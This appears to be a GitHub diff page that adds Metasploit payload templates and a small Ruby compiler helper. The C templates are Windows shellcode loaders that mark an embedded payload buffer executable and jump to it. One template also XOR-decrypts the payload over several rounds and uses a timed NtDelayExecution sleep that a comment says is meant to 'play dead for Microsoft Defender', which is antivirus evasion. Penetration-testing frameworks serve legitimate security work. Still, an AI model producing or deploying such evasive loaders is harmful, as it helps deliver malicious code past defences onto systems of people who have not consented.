Skip to content
12 changes: 12 additions & 0 deletions data/templates/src/pe/exe/template.c.erb
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
#include <Windows.h>

#define SCSIZE 4096
char bPayload[SCSIZE] = "PAYLOAD:";


void main() {
DWORD dwOldProtect;
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
(*(void (*)()) bPayload)();
return;
}
18 changes: 18 additions & 0 deletions data/templates/template_x64_windows.erb
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
#include <Windows.h>

#define SCSIZE <%= payload_length %>

char bPayload[SCSIZE] = "<%= payload %>";


void main() {
DWORD dwOldProtect;
char* payload_fnc = NULL;

payload_fnc = bPayload;

VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
(*(void (*)()) payload_fnc)();
return;
}

96 changes: 96 additions & 0 deletions data/templates/template_x64_windows_xor.erb
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
#include <Windows.h>
#include <stdio.h>
#define SCSIZE <%= encrypted_payload_length %>

char bPayload[SCSIZE] = "<%= encrypted_payload %>";
char bControlBytes[<%= encryption_rounds %>] = "<%= control_bytes %>";

typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
__int64 QuadPart;
} LARGE_INTEGER, *PLARGE_INTEGER;

typedef NTSTATUS (__stdcall *fnNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);


int DelayExecution()
{
// Converting minutes to milliseconds - TODO: add random interval
DWORD dwMilliSeconds = 12000;
LARGE_INTEGER DelayInterval = { 0 };
__int64 Delay = NULL;
NTSTATUS STATUS = NULL;

// TODO: add API hashing
fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDelayExecution");
DWORD _T0 = NULL, _T1 = NULL;

// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = -Delay;

_T0 = GetTickCount();


// Sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 ) {
return 0;
}

_T1 = GetTickCount();

if((_T1 - _T0) < dwMilliSeconds) {
return 0;
}

return 1;
}

char GetKey(char control_byte)
{
char hardcoded = bPayload[0];
for (int i = 0; i <= 255; i++)
{
char res = i ^ hardcoded;
if (res == (char)(control_byte))
return (char)i;
}
}

void DecryptPayload(char control_byte)
{
char key = GetKey(control_byte);
for (int i = 0; i < SCSIZE; i++)
{
bPayload[i] = bPayload[i] ^ key;
}
}

void main() {
DWORD dwOldProtect;
char* payload_fnc = NULL;
for(int i = 0; i < <%= encryption_rounds %>; i++)
{
DecryptPayload(bControlBytes[i]);
}
payload_fnc = bPayload + 1;
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);

//play dead for Microsoft Defender, because why not
if(DelayExecution()){
(*(void (*)()) payload_fnc)();
}

return;
}

18 changes: 18 additions & 0 deletions lib/metasploit/framework/compiler/custom.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
require 'metasm'
require 'metasploit/framework/compiler/pe'

module Metasploit
module Framework
module Compiler

class Custom

def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
return Pe.from_c(c_template)
#raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe
end

end
end
end
end
Loading
Loading